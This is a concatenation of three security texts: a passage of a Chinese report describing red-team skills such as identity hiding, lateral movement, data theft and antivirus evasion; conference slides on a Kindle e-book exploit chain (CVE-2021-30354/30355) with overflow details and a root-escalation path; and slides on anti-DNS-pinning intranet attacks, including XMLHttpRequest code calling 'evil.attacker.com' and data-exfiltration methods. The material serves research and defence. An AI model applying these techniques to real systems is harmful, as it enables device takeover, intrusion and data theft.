空间相匹配,这就为缓冲区溢出埋下隐患,即缓冲区溢出漏洞。GS 就是通过对缓冲区数据 的各种校验机制,防止缓冲区溢出攻击的发生。 在本文中,白帽子的 GS 能力,是指白帽子掌握 GS 的技术原理,并能够发现程序或系统 中 GS 机制的设计缺陷,并加以利用实施攻击的能力。 (二) 系统层漏洞挖掘 系统层漏洞的挖掘需要很多相对高级的漏洞挖掘技术与方法。从实战角度看,以下 6 种 挖掘方法最为实用:代码跟踪、动态调试、Fuzzing 技术、补丁对比、软件逆向静态分析、 系统安全机制分析。 1) 代码跟踪 代码跟踪,是指通过自动化分析工具和人工审查的组合方式,对程序源代码逐条进行检 22 查分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏 洞,提供代码修订措施和建议。 2) 动态调试 动态调试,原指软件作者利用集成环境自带的调试器跟踪自己软件的运行,来协助解决 自己软件的错误。 不过,对于白帽子来说,动态调试通常是指使用动态调试器(如 OllyDbg x64Dbg 等), 为可执行程序设置断点,通过监测目标程序在断点处的输入输出及运行状态等信息,来反向 推测程序的代码结构、运行机制及处理流程等,进而发现目标程序中的设计缺陷或安全漏洞 的一种分析方法。 3) Fuzzing 技术 Fuzzing 技术,是一种基于黑盒(或灰盒)的测试技术,通过自动化生成并执行大量的 随机测试用例来触发软件或系统异常,进而发现产品或协议的未知缺陷或漏洞。 4) 补丁对比 每一个安全补丁,都会对应一个或多个安全漏洞。通过对补丁文件的分析,往往可以还 原出相应漏洞的原理或机制。而利用还原出来的漏洞,就可以对尚未打上相关补丁的软件或 系统实施有效攻击。而补丁对比,是实战环境下,补丁分析的一种常用的、有效的方式。 补丁对比,是指对原始文件和补丁文件分别进行反汇编,然后对反汇编后的文件做比较 找出其中的差异,从而发现潜在的漏洞的一种安全分析方法。 5) 软件逆向静态分析 在本文中,软件逆向静态分析,是指将对软件程序实施逆向工程,之后对反编译的源码 或二进制代码文件进行分析,进而发现设计缺陷或安全漏洞的一种安全分析方法。 对开放源代码的程序,通过检测程序中不符合安全规则的文件结构、命名规则、函数、 堆栈指针等,就可以发现程序中存在的安全缺陷。被分析目标没有附带源程序时,就需要对 程序进行逆向工程,获取类似于源代码的逆向工程代码,然后再进行检索和分析,也可以发 现程序中的安全漏洞。这就是软件逆向静态分析。 软件逆向静态分析,也叫反汇编扫描,由于采用了底层的汇编语言进行漏洞分析,在理 论上可以发现所有计算机可运行的漏洞。对于不公开源代码的程序来说,这种方法往往是最 有效的发现安全漏洞的办法。 6) 系统安全机制分析 操作系统的安全机制,就是指在操作系统中,利用某种技术、某些软件来实施一个或多 个安全服务的过程。主要包括标识与鉴别机制,访问控制机制,最小特权管理机制,可信通 路机制、安全审计机制,以及存储保护、运行保护机制等。 在本文中,系统安全机制分析能力,是指对操作系统的各种安全机制的进行分析,进而 发现系统设计缺陷或安全漏洞的方法。 (三) 身份隐藏 为避免自己的真实 IP、物理位置、设备特征等信息在远程入侵的过程中被网络安全设 备记录,甚至被溯源追踪,攻击者一般都会利用各种方式来进行身份隐藏。在实战攻防演习 中,攻击方所采用身份隐藏技术主要有以下几类:匿名网络、盗取他人 ID/账号、使用跳板 机、他人身份冒用和利用代理服务器等。 1) 匿名网络 23 匿名网络泛指信息接受者无法对信息发送者进行身份定位与物理位置溯源,或溯源过程 极其困难的通信网络。这种网络通常是在现有的互联网环境下,通过使用特定的通信软件组 成的特殊虚拟网络,从而实现发起者的身份隐藏。其中以 Tor 网络(洋葱网络)为代表的各 类“暗网”是比较常用的匿名网络。 在本文中,白帽子的匿名网络能力,是指白帽子能够使用匿名网络对目标机构发起攻击, 并有效隐藏自己身份或位置信息的能力。 2) 盗取他人 ID/账号 盗取他人 ID/账号,一方面可以使攻击者获取与 ID/账号相关的系统权限,进而实施非 法操作;另一方面也可以使攻击者冒充 ID/账号所有人的身份进行各种网络操作,从而实现 攻击者自身身份隐藏的目的。 不过,在实战攻防演习中,通常不允许随意盗取与目标机构完全无关人员的 ID/账号, 因此,在本文中,白帽子的盗取他人 ID/账号能力,是指白帽子能够盗取目标机构及其相关 机构内部人员 ID/账号,以实现有效攻击和身份隐藏的能力。 3) 使用跳板机 使用跳板机,是指攻击发起者并不直接对目标进行攻击,而是利用中间主机作为跳板机, 经过预先设定的一系列路径对目标进行攻击的一种攻击方法。使用跳板机的原因主要有两个 方面:一是受到内网安全规则的限制,目标机器可能直接不可达,必须经过跳板机才能间接 访问;二是使用跳板机,攻击者可以在一定程度上隐藏自己的身份,使系统中留下的操作记 录多为跳板机所为,从而增加防守方溯源分析的难度。 在本文中,白帽子使用跳板机的能力,是指白帽子能够入侵机构内部网络,获得某些主 机控制权限,并以此为跳板,实现内网横向移动的技术能力。 4) 他人身份冒用 他人身份冒用,是指通过技术手段对身份识别系统或安全分析人员进行欺骗,从而达到 冒用他人身份实现登录系统、执行非法操作及投放恶意程序等攻击行为。这里所说的他人身 份冒用技术不包括前述的盗取他人 ID/账号。 在本文中,白帽子的他人身份冒用能力,是指白帽子能够使用各种技术手段冒用他人身 份,入侵特定系统的技术能力。 5) 利用代理服务器 代理服务器,是指专门为其他联网设备提供互联网访问代理的服务器设备。在不使用代 理服务器的情况下,联网设备会直接与互联网相连,并从运营商那里分配获得全网唯一的 IP 地址。而在使用代理服务器的情况下,联网设备则是首先访问代理服务器,再通过代理服务 器访问互联网。 代理服务器的设计,最初是为了解决局域网内用户联结互联网的需求而提出的,局域网 内所有的计算机都通过代理服务器与互联网上的其他主机进行通信。对于被通信的主机或服 务器来说,只能识别出代理服务器的地址,而无法识别事出局域网内哪一台计算机与自己通 信。 在实战攻防环境下,攻击方使用代理服务器联网,就可以在一定程度上隐藏自己的 IP 地址和联网身份,增加防守方的溯源难度和 IP 封禁难度。在某些情况下,攻击者甚至还会 设置多级代理服务器,以此实现更加深度的身份隐藏。 在本文中,白帽子的利用代理服务器能力,是指白帽子在攻击过程中,能够使用一级或 多级代理服务器,从而实现身份隐藏的能力。 (四) 内网渗透 24 内网渗透,是指当攻击方已经完成边界突破,成功入侵到政企机构内部网络之后,在机 构内部网络中实施进一步渗透攻击,逐层突破内部安全防护机制,扩大战果或最终拿下目标 系统的攻击过程。 在实战攻防环境下,白帽子比较实用的内网渗透能力包括:工作组或域环境渗透、内网 权限维持/提权、横向移动、数据窃取和免杀等。 1) 工作组、域环境渗透 工作组和域环境都是机构内部网络结构的基本概念。工作组通常是指一组相互联结,具 有共同业务或行为属性的终端(计算机)集合。组内终端权限平等,没有统一的管理员或管 理设备。通常来说,工作组的安全能力上线就是每台终端自身的安全能力。 域环境,则是由域控服务器创建的,具有统一管理和安全策略的联网终端的集合,域控 服务器和域管理员账号具有域内最高权限。通常来说,域环境的安全性要比工作组高很多, 但如果域管理员账号设置了弱口令,或域控服务器存在安全漏洞,也有可能导致域控服务器 被攻击者劫持,进而导致域内所有设备全部失陷。 出于安全管理的需要,大型机构的内部网络一般都会被划分为若干个域环境,不同的域 对应不同的业务和终端,执行不同的网络和安全管理策略。而在一些网络管理相对比较松散 的机构中,内网中也可能只有若干的工作组,而没有域环境。 在本文中,白帽子的工作组、域环境渗透能力,是指白帽子能够掌握内网环境中,工作 组或域环境的运行管理机制,能够发现其中的设计缺陷或安全漏洞,并加以利用实施攻击的 能力。 2) 内网权限维持/提权 攻击者通常是以普通用户的身份接入网络系统或内网环境,要实现攻击,往往还需要提 升自身的系统权限,并且使自身获得的高级系统权限能够维持一定的时间,避免被系统或管 理员降权。提升系统权限的操作简称提权,维持系统权限的操作简称权限维持。 在实战环境下,系统提权的主要方式包括:利用系统漏洞提权、利用应用漏洞提权、获 取密码/认证提权等。 在本文中,白帽子的内网权限维持/提权能力,是指白帽子在内网环境中,能够利用各 种安全设计缺陷或安全漏洞,提升自己的系统权限,以及维持提权有效性的技术能力。 3) 横向移动 横向移动,通常是指攻击者攻破某台内网终端/主机设备后,以此为基础,对相同网络环 境中的其他设备发起的攻击活动,但也常常被用来泛指攻击者进入内网后的各种攻击活动。 在本文中,白帽子的横向移动能力,是泛指以内网突破点为基础,逐步扩大攻击范围, 逐步攻破更多内网设备或办公、业务系统的技术能力。 4) 数据窃取 对机密或敏感数据的窃取,是实战攻防演习工作中最常见的预设目标之一,也是黑客针 对政企机构网络攻击活动的主要目的之一。一般来说,机构内部的很多办公系统、业务系统、 生产系统中,都会有专门的服务器或服务器集群用于存储核心数据,数据服务器的防护一般 也会比其他网络设备更加严密一些。 在本文中,白帽子的数据窃取能力,是指白帽子能够熟练掌握服务器的数据库操作,能 够在内网中找到机构的核心系统数据服务器,能够获取服务器访问或管理权限,能够在防守 方不知情的情况下将数据窃取出来并秘密外传的技术能力。 5) 免杀 25 免杀,英文为 Anti Anti-Virus,是高级的网络安全对抗方式,是各种能使木马病毒程 序免于被杀毒软件查杀的技术的总称,可以使攻击者编写的木马病毒程序在目标主机上秘密 运行,不被发现。 免杀技术,不仅要求开发人员具备木马病毒的编写能力,同时还需要对各种主流安全软 件的运行框架、杀毒引擎的工作原理、操作系统的底层机制、应用程序的白利用方式等,有 非常深入的了解,并能据此编写对抗代码。使用免杀技术,对于白帽的基础能力要求非常之 高。 在本文中,白帽子的免杀技术能力,是指白帽子能够编写木马病毒程序实现免杀的技术 能力。通过使用第三方工具(如加密壳)在某些安全防护薄弱的环境下也能达到免杀目的, 但这种基础能力不属于本文描述的免杀技术能力。 (五) 掌握 CPU 指令集 CPU 指令集,即 CPU 中用来计算和控制计算机系统的一套指令的集合。每一种不同的 CPU 在设计时都会有一系列与其他硬件电路相配合的指令系统。指令系统包括指令格式、寻址方 式和数据形式。一台计算机的指令系统反应了该计算机的全部功能。机器类型不同,其指令 集也不同。而白帽子对 CPU 指令集的掌握程度,将直接决定白帽子进行系统层漏洞挖掘与利 用的能力水平。本文指掌握不同架构下的底层程序分析。 目前,最为常见的 CPU 指令集包括 x86、MIPS、ARM 和 PowerPC。 1) x86 x86 一般指 Intel x86。x86 指令集是 Intel 为其 CPU 专门开发的指令集合。 通过分析 x86 指令集可以找到 intel 下相关软件或系统的运行机制,从而通过指令实 现底层攻击。 2) MIPS MIPS(Microcomputer without Interlocked Pipeline Stages)的含义是无互锁流水 级微处理器,该技术是 MIPS 公司(著名芯片设计公司,)设计开发的一系列精简的指令系统 计算结构,最早是在 80 年代初期由斯坦福(Stanford)大学 Hennessy 教授领导的研究小组 研制出来的。由于其授权费用低,因此被 Intel 外的大多数厂商使用。 通过分析 MIPS 指令集可以找到除 Intel 外大多厂商(多见于工作站领域)的软件或系 统运行机制,从而通过指令实现底层攻击。 3) ARM ARM(Advanced RISC Machines),即 ARM 处理器, 是英国 Acorn 公司设计的,低功耗的 第一款 RISC(Reduced Instruction Set Computer,精简指令集计算机)微处理器。 在本文中,ARM 指 ARM 指令集。ARM 指令集是指计算机 ARM 操作指令系统。ARM 指令集 可以分为跳转指令、数据处理指令、程序状态寄存器处理指令、加载/存储指令、协处理器 指令和异常产生指令六大类。 4) PowerPC PowerPC(Performance Optimization With Enhanced RISC-Performance Computing) 是一种精简指令集架构的中央处理器,其基本的设计源自 IBM 的 POWER 架构。POWER 是 1991 年,Apple、IBM、Motorola 组成的 AIM 联盟所发展出的微处理器架构。PowerPC 处理器有 广泛的实现范围,包括从高端服务器 CPU(如 Power4) 到嵌入式 CPU 市场(如任天堂游 戏机)。但苹果公司自 2005 年起,旗下计算机产品转用 Intel CPU。 26 (六) 高级安全工具 高级安全工具同样是白帽子的必修课,只不过这些工具对于使用者有更高的基础技能要 求,初学者不易掌握。在实战化环境中,最为经常被用到的工具包括:IDA、Ghidra、Binwalk、 OllyDbg、Peach fuzzer 等。 1) IDA IDA,是一个专业的反汇编工具,是安全渗透人员进行逆向安全测试的必备工具,具有 静态反汇编和逆向调试等功能,能够帮助安全测试人员发现代码级别的高危安全漏洞。 2) Ghidra Ghidra,是一款开源的跨平台软件逆向工具,目前支持的平台有 Windows、macOS 及 Linux, 并提供了反汇编、汇编、反编译等多种功能。Ghidra P-Code 是专为逆向工程设计的寄存器 传输语言,能够对许多不同的处理器进行建模。 3) Binwalk Binwalk,是一个文件扫描提取分析工具,可以用来识别文件内包含的内容和代码。 Binwalk 不仅可以在标准格式本件中进行分析和提取,还能对非标准格式文件进行分析和提 取,包括压缩文件、二进制文件、经过删节的文件、经过变形处理的文件、多种格式相融合 的文件等。 4) OllyDbg OllyDbg,是一款强大的反汇编工具。它结合了动态调试与静态分析等功能。是一个用 户模式调试器,可识别系统重复使用的函数,并能将其参数注释。OllyDbg 还可以调试多线 程应用程序,从一个线程切换到另一个线程、挂起、恢复和终止,或改变它们的优先级。 5) Peach fuzzer Peach Fuzzer 是一款智能模糊测试工具,广泛用于发现软件中的缺陷和漏洞。Peach Fuzzer 有两种主要模式:基于生长的模糊测试和基于变异的模糊测试。 (七) 编写 POC 或 EXP 等高级利用 在前述“进阶能力”中的“(三)编写 POC 或 EXP 等利用”中,我们已经介绍了 POC 和 EXP 的概念,这里不再累述。相比于针对 Web 应用和智能硬件/IoT 设备编写 PoC 或 EXP,针 对各种类型的操作系统和安全设备编写 POC 或 EXP 要更加困难,属于高阶能力。 高阶能力中,比较被关注的几个操作系统包括:Android、iOS、Linux、macOS。 1) Android 由 Google 公司和开放手机联盟领导及开发的操作系统,主要使用于移动设备,如智能 手机和平板电脑。 在本文中,Android 代指能够在 Android 操作系统上找到漏洞并利用漏洞编写 PoC 或 EXP 的能力。 2) iOS 由苹果公司开发的移动操作系统,主要使用于 iPhone、iPod touch、iPad 上。 在本文中,iOS 代指能够在 iOS 操作系统上找到漏洞并利用漏洞编写 PoC 或 EXP 的能 力。 3) Linux 27 主要使用于服务器的操作系统, Ubnutu、CentOS 等均属基于 Linux 内核基础上开发的 操作系统。 在本文中,Linux 代指能够在 Linux 操作系统上找到漏洞并利用漏洞编写 PoC 或 EXP 的 能力。 4) macOS 由苹果公司开发的操作系统,主要运用于 Macintosh 系列计算机。macOS 的架构与 Windows 不同,很多针对 Windows 的计算机病毒在 macOS 上都无法攻击成功。 在本文中,macOS 代指能够在 macOS 操作系统上找到漏洞并利用漏洞编写 PoC 或 EXP 的 能力。 5) 网络安全设备 在实战化环境中,经常会遇到的网络安全设备包括 IP 协议密码机、安全路由器、线路 密码机、防火墙、安全服务器、公开密钥基础设施(PKI)系统、授权证书(CA)系统、安全 操作系统、防病毒软件、网络/系统扫描系统、入侵检测系统、网络安全预警与审计系统等。 网络安全设备本身也会存在各种各样的安全漏洞,在近年来的实战攻防演习中,受到越 来越多的重视和利用。 在本文中,网络安全设备代指能够在各类网络安全设备中找到漏洞并利用漏洞编写 PoC 或 EXP 的能力。 (八) 团队协作 随着实战攻防演习实践的不断深入,防守方的整体能力持续提升。这就使得白帽子单凭 强大的个人能力单打独斗取得胜利的希望越来越小。而由 3-5 人组成的攻击小队,通过分工 协作的方式高效完成攻击行动的模式已经越来越成熟。而对于白帽子来说,是否拥有团队协 作的作战经验,在团队中扮演什么样的角色,也是白帽子实战化能力的重要指标。 团队作战,成功的关键的是协作与配合。通常来说,每只攻击队的成员都会有非常明确 的分工和角色。在实战攻防演习实践中,攻击队比较常见的角色分工主要有 6 种,分别是: 行动总指挥、情报收集人员、武器装备制造人员、打点实施人员、社工钓鱼人员和内网渗透 人员。 1) 行动总指挥 通常是攻击队中综合能力最强的人,需要有较强的组织意识、应变能力和丰富的实战经 验,负责策略制定、任务分发、进度把控等。 2) 情报收集人员 负责情报侦察和信息收集,收集内容包括但不限于:目标系统的组织架构、IT 资产、敏 感信息泄露、供应商信息等。 3) 武器装备制造人员 负责漏洞挖掘及工具编写,是攻击队的核心战斗力量,不仅要能找到漏洞并利用漏洞, 还要力求在不同环境下达到稳定、深入的漏洞利用。 4) 打点实施人员 负责获取接入点,进行 Web 渗透等。找到薄弱环节后,利用漏洞或社工等方法,获取外 网系统控制权限,之后寻找和内网连通的通道,建立据点(跳板)。 5) 社工钓鱼人员 28 负责社工攻击。利用人的安全意识不足或安全能力不足等弱点,实施社会工程学攻击, 通过钓鱼邮件或社交平台等进行诱骗,进而成功打入内网。 6) 内网渗透人员 负责进入内网后的横向移动。利用情报收集人员的情报结合其他弱点来进行横向移动, 扩大战果。尝试突破核心系统权限,控制核心任务,获取核心数据,最终完成目标突破工作。 29 附录 2 补天漏洞响应平台 补天漏洞响应平台(https://www.butian.net),成立于 2013 年 3 月,是国内专注于漏 洞响应的第三方平台。补天平台通过充分引导民间白帽力量,实现实时的、高效的漏洞报告 与响应。 面对复杂多变的网络安全态势和层出不穷的攻击手段,补天平台采用 SRC、众测等方式 服务广大企业,以安全众包的形式让白帽子从模拟攻击者的角度发现问题,解决问题,帮助 企业树立动态、综合的防护理念,守护企业网络安全。补天平台将多种安全服务有机的整合 起来,进一步提升企业的漏洞响应能力、积极防御能力和常态化安全运营能力。 2019 年 5 月,基于补天众测的漏洞治理与风险管理平台入选工业和信息化部公布网络 安全技术应用试点示范项目名单,在网络安全漏洞领域唯一以安全厂商身份入选。作为奇安 信集团独立开发运营的 SaaS 平台,通过标准化的工作流程驱动企业高效处置精英可信白帽 发现的漏洞。持续生产和运营的安全风险线索能保障用户及时、精准的获知和处置。本平台 聚焦为企业解决漏洞发现不全面、漏洞修复不彻底的难题以及威胁无法提前预知和防范的风 险管理问题,帮助企业完善漏洞治理架构和风险管理机制,助力企业构建管理闭环、关口前 移、源头治理的积极防御体系。 成立 7 年来,补天平台已经成为全中国影响力最大的漏洞响应平台之一,同时也是最活 跃的网络安全从业者交流平台之一。通过补天白帽大会、“补天杯”破解大赛、补天城市沙 龙、补天校园行,搭建安全从业者开放、分享、成长的平台,把国内外网络安全专家、业界 大咖、安全厂商、研究机构聚集到一起,将多种形式结合建立网络安全从业者技术生态。同 时在实战化的趋势下,人是支撑安全业务的最重要因素,补天平台也成为汇聚海量实战型网 络安全人才的资源池。通过提供真实的训练环境,开放实战工具箱和资源,定制专属课程、 顶级黑客进行技术教学,依托长期积累,利用独有的技术人才优势,培养出具有顶级技术的 网络安全实战型人才,为行业提供强有力的人才保障,提升支撑安全业务的各项能力,应对 新形势下的网络安全挑战。 截至 2021 年 1 月,平台注册白帽子已达 74 000 余名,累计为 16 万多家企业报告的漏 洞超过 57 万个。补天漏洞响应平台先后被公安部、国家信息安全漏洞共享平台(CNVD)、国 家信息安全漏洞库(CNNVD)分别评定为技术支持先进单位、漏洞信息报送突出贡献单位和 一级技术支撑单位。 网聚安全力量,为社会提供准确、详实的漏洞情报,实现漏洞的及时发现与快速响应, 是补天平台始终坚持并不断履行的社会使命。通过营造实战化的学习环境、建设协同育人的 导师制度、构建技能衔接的知识体系培养的实战化人才为企业网络安全贡献力量,为国家安 全保驾护航。 30 附录 3 奇安信蓝队能力及攻防实践 自 2016 年奇安信集团协助相关部委首次承办网络实战攻防演习以来,这种新的网络安 全检验模式已经有了长足的发展。 仅 2020 年全年,奇安信就参与了全国范围内 244 场实战攻防演习的蓝队活动,攻破了 1900 余个目标系统。累计派出蓝队 306 支次、投入蓝队专家 918 人次、投入工作量 6685 人 天。项目涵盖党政机关、公安机关等机构,以及民生、医疗、教育、金融、交通、电力、银 行、保险、能源、传媒、生态、水利、旅游等各个行业。在实战演习过程中,奇安信集团派 遣最优秀的蓝队高手全力参与工作,并在所有行业化的实战攻防演习排名中名列前茅,其中 排名第一的次数高达 66.7%。 在协助国家主管机关的工作中,针对等级保护重要信息系统以及国家关键基础设施,深 入开展实战攻防工作,使得国家相关重点信息系统的整体安全性有了显著提高和可靠保障; 在协助央、国企单位工作中,对企业本级以及下级单位的重点网络信息系统、敏感系统、工 控系统,进行全面的蓝队渗透攻击,极大地提升了各级单位应对网络安全突发事件能力,大 幅度提高了相关网络及系统的防护水平。 如今,奇安信集团已组建起 10 余支技术高强、能力突出的网络蓝队,聘请具备 APT 高 级渗透实战经验的专职攻防专家 100 余人,是目前国内规模最大、人数最多的蓝队队伍之 一。 实战攻防是个对抗的过程,无论对抗中的攻还是防,其目的都是为了提升网络的安全防 护能力,加强安全应急的响应处置能力。奇安信集团将肩负“让网络更安全、让世界更美好” 的使命,以攻促防,为提升网络安全水平贡献力量。 31 合作伙伴 感谢以上合作伙伴对本报告的支持,合作伙伴排序均按首字母排序,排名不分先后
pdf
Do you like to read? I know how to take over your Kindle with an e-book Slava Makkaveev How popular is Amazon Kindle? 10th Generation ■ Kindle Oasis ■ Kindle Paperwhite ■ Kindle 9th Generation ■ Kindle Oasis 8th Generation ■ Kindle Oasis ■ Kindle 7th Generation ■ Kindle Voyage ■ Kindle Paperwhite ■ Kindle 6th Generation ■ Kindle Paperwhite The 11th Generation is on the way 5th Generation ■ Kindle Paperwhite ■ Kindle 4th Generation ■ Kindle Touch ■ Kindle 3rd Generation ■ Kindle Keyboard 2nd Generation ■ Kindle DX ■ Kindle 1st Generation ■ Kindle The easiest way to remotely reach a Kindle is through an e-book How to deliver an e-book to my Kindle device? When you are logged into your Amazon account ■ From your browser (Chrome browser extension) ■ From your desktop (PC application) ■ From your Android device (Android application) Without authentication ■ Via USB cable ■ From your email (as an attachment) to [email protected] ● The ability to spoof was fixed at the end of 2020 ● A verification link will be sent to your Amazon account A phishing campaign is the right way to go Dozens of free online libraries are open to everyone ■ Kindle Store ■ Project Gutenberg ■ Open Library ■ The Online Books Page ■ The Literature Network ■ Classic Reader ■ Classic Bookshelf ■ Chest of Books ■ Fiction.us ■ PublicLiterature.org ■ Authorama ■ Bibliomania ■ International Children's Digital Library ... A malware e-book can be easily uploaded Inside the Kindle E-reader How to research a Kindle device? The official source code consists of third-party open source projects with small Amazon tweaks 1) The latest firmware is available for download 2) It is possible to Jailbreak Kindle Touch Architecture Linux OS D-Bus LIPC + app registry Native apps (busybox) JRE Booklets Pillow Java Apps HTML/Javascript Webkit X.org User Interface High-level services Low-level services / system What Kindle components are responsible for parsing e-books? The /usr/bin/scanner service ■ Periodically scans /mnt/us/documents for new files ■ Uses “extractor” libraries to extract metadata from the e-book /var/local/appreg.db kfx /usr/lib/ccat/libyjextractorE.so azw1, tpz /usr/lib/ccat/libtopazE.so pdf /usr/lib/ccat/libpdfE.so azw3 /usr/lib/ccat/libmobi8extractorE.so azw, mbp, mobi, prc /usr/lib/ccat/libEBridge.so If the scanner does not match the file extension or a parsing error occurs, the e-book is not shown to the user Java framework is responsible for opening the book on click ■ MobiReader-impl.jar ■ YJReader-impl.jar ■ PDFReader-impl.jar ■ HTMLReader-impl.jar For example, com.amazon.ebook.booklet.pdfreader.impl.PDFModel ■ TopazReader-impl.jar ■ ... /opt/amazon/ebook/lib/ execv Opening a PDF file PDFReader-impl.jar nativeOpenPDFDocument /usr/java/lib/ libPDFClientJNI.so /usr/bin/ pdfreader /usr/lib/ libFoxitWrapper.so fork http://127.0.0.1:7667 /command/openBook openPDFDocumentFrom Library libFoxitWrapper.so openPDFDocumentFromLibrary Opens the PDF document getCurrentPage Parses the PDF page to internal structures renderPageFromLibrary Renders the PDF page converting it to an image. When called, the stream filters begin to be parsed It is a wrapper for the Foxit PDF SDK presented by /usr/lib/libfpdfemb.so Fuzzing PDF filters The classic fuzzing scheme is enough Kindle devices are based on NXP i.MX processors (ARM) ■ Predictor ■ Decrypt ■ Flate ■ Fax ■ Lzw ■ AsciiHex ■ RunLen ■ Ascii85 ■ Jpeg ■ Jbig2 ■ Jpx PDF stream filters/codecs Libfpdfemb.so supports The Jbig2Module object CVE-2021-30354. Integer Overflow Malformed JBIG2Globals stream ■ Image information region (width: 0x80, height: 1, stride: 0x10) ■ “Refinement” region the refining rectangle Width: 0 Height: 0x10 (0, 0x40000000) height_new = height + y = 0x40000010 mem_size = (height + y) * stride = 0x100 (Integer Overflow) Managed heap overflow 1) Decompress jbig2 data 2) And XOR with the heap content 3) At offset 0x1234 * 0x10 bytes Writing through the XOR allows to bypass ASLR Code execution in the pdfreader process ■ The data segments are Read/Write/Execute ■ The base address of the data segments is not randomized ■ Operates with the framework user rights Our test payload /var/tmp/framework/payload.sh Logged out: uid=9000(framework) gid=150(javausers) groups=150(javausers) CVE-2021-30355. Improper Privilege Management Patching the Application Registry The framework user has read/write access to /var/local/appreg.db Link a “command” entry to our payload.sh The appmgrd service ■ Searches the registry for the app matching the argument ■ Launches the app if found ■ Operates with the root user rights Requesting the Application Manager to launch the app The framework user can send a LIPC message to start an application Our payload.sh logged out: root: uid=0(root) gid=0(root) Each app is responsible for lowering its own permissions at startup :-) Demo. Remote C&C Summary ■ How to execute malicious code hidden in an e-book (CVE-2021-30354) ■ How to gain root privileges on Kindle devices (CVE-2021-30355) What can we do? Own the Kindle device ■ Brick ■ Convert to a bot ■ Attack other devices in your local network Own the Amazon account ■ Remove or resell e-books, taking money for ourselves What did we find? Thank you! [email protected] @_cpresearch_ research.checkpoint.com
pdf
Intranet Invasion Through Anti-DNS Pinning David Byrne, CISSP, MCSE Security Architect EchoStar Satellite / Dish Network [email protected] JavaScript Malware • Cross Site Scripting (XSS) • Port scanning • Web site fingerprinting • Cross Site Request Forgery (CSRF) • Browser history theft • Self-propagating worms Same Origin Policy • Netscape started it in Navigator 2 when JavaScript debuted • “The same origin policy prevents documents or scripts loaded from one origin from getting or setting properties of a document from a different origin.” – Mozilla.org • Both documents must have the same protocol, the same hostname the and same port; IP address must be ignored because of virtual hosts • Cross Site Scripting gets around this by injecting JavaScript into the targeted site. Without rare client- side vulnerabilities, a properly secured site is not vulnerable Useful data Victim browser Attack Web Server 13.1.2.3 Victim Web Server 10.4.5.6 Attack DNS Server attacker.com Attack code Request 13.1.2.3 evil.attacker.com 10.4.5.6 Attack request Useful data DNS Pinning • Intended to prevent DNS spoofing attacks • It forces a browser to pin the first DNS response for a hostname • The first attack against it was documented in 1996 by Princeton researchers. Their attack was against the JVM and is no longer viable. • May violate RFC 2616 RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1 15.3 DNS Spoofing … If HTTP clients cache the results of host name lookups in order to achieve a performance improvement, they MUST observe the TTL information reported by DNS. If HTTP clients do not observe this rule, they could be spoofed when a previously-accessed server's IP address changes. As network renumbering is expected to become increasingly common, the possibility of this form of attack will grow. Observing this requirement thus reduces this potential security vulnerability. Defeating DNS-Pinning – Process Termination 1. Get the victim browser to request an attack payload 2. Wait for the browser to close, or cause it to crash 3. Wait for the user to open the browser again 4. Get the browser to reload the payload from cache 5. The payload initiates a request to the attack server it came from originally 6. The browser re-queries the DNS server, but this time it receives the IP address of the target server 7. The payload is run against the target server Defeating DNS-Pinning – Process Termination • Pros – Difficult to defeat with browser design; the browser must requery DNS eventually • Cons – Defeated by clearing the cache on exit – Difficult to get attack payload reloaded from cache – Very, very slow Defeating DNS-Pinning – Forcing Cache Reloads • History – First documented in September, 2003 by Mohammad Haque – Ignored until August, 2006 when Amit Klein brought it up again • Major browsers (IE & Firefox) don’t fully implement DNS pinning • If a web server becomes unavailable, the DNS cache is dumped • Coordinating firewall and DNS changes makes for an effective attack • The techniques demonstrated are possible on IE & Firefox; on Windows & *NIX Useful data Victim browser Attack Web Server 13.1.2.3 Victim Web Server 10.4.5.6 Attack DNS Server attacker.com Attack code Request 13.1.2.3 evil.attacker.com 10.4.5.6 Attack request Useful data Attack request XMLHTTPRequest Object •The XMLHTTPRequest (XHR) object allows JavaScript to issue arbitrary HTTP GETs or POSTs back to the origin server •Used commonly in AJAX sites such as Google Maps •Normally, it can only return text data •Thanks to Marcus Granado (mgran.blogspot.com) for documenting how to retrieve binary data using the “x-user- defined” character set. XMLHTTPRequest Code var ua; ua = new XMLHttpRequest(); ua.open('GET', 'http://evil.attacker.com', false); ua.overrideMimeType('text/plain;charset=x-user-defined'); ua.send(body); return "HTTP/1.0 " + ua.status + " " + ua.statusText + "\x0d\x0a" + ua.getAllResponseHeaders() + "\x0d\x0a\x0d\x0a" + ua.responseText; Sending Data to the Attack Server • Small amounts of text data: – Create an image object – Set source to a controller script on the attack server; the text data is passed in the query string – Append object to document body • Large amount of data, or binary data – HTML form – Data in text input box – Action set to the controller script on the attack server – Target set to an unused iframe – Method set to POST – Encoding type to “multipart/form-data” Requesting Data from the Attack Server • Primary method uses intentional XSS • A script is loaded from the attack server; the data is stored in variables that the requesting script can access data['request345'] = 'GET / HTTP/1.0\n…'; • Anti-XSS controls might break this • No XSS is required for the demonstration Requesting Data from the Attack Server - Alternatives • Image dimensions – Request a series of images from the attack server – Measure their width and height; one byte encoded in each – BMP files can be as small as 66 bytes with any dimensions • Cascading Style Sheets – Request a style sheet from the attack server – It contains series of style classes with margin settings – Apply the class to a DIV tag, and measure the margin – Each margin can be millions of pixels, allowing two bytes to be encoded for each side – Unlimited data in each CSS Demonstration Environment Internet 12.0.0.0/24 Corporate 10.0.0.0/24 Victim workstation 10.0.0.100 Linux Server 10.0.0.30 HTTP; MySQL Windows Server 10.0.0.31 HTTP;DNS;SMB TCP/53,80,443;UDP/53 TCP/80,443 TCP/80,443 Attack Server 12.0.0.51, 12.0.0.52 HTTP, MySQL, DNS Attack workstation 12.0.0.60 XSS Infected Server 12.0.0.80 HTTP Demonstration Environment Internet Laptop Attack server VM Attack workstation VM XSS infected server VM Corporate Laptop Windows server VM Linux server VM Victim workstation VM DD-WRT Firewall With assistance from Eric Duprey Corporate 10.0.0.0/24 Internet 12.0.0.0/24 XSS Infected Server Demonstration Sequence Victim workstation Victim workstation Linux Server Windows Server Attack Server Attack workstation XSS Infected Server 1. Victim browser visits a website infected with a XSS attack and becomes infected with malicious code. http://www.news-site.com/infected_page.asp Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Victim workstation Linux Server Windows Server Attack workstation XSS Infected Server 2. The malicious code causes the victim to load a page from the attack web server. This could be in a new window, in a small iframe, etc. http://12.0.0.51/attack.html Attack Server Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence 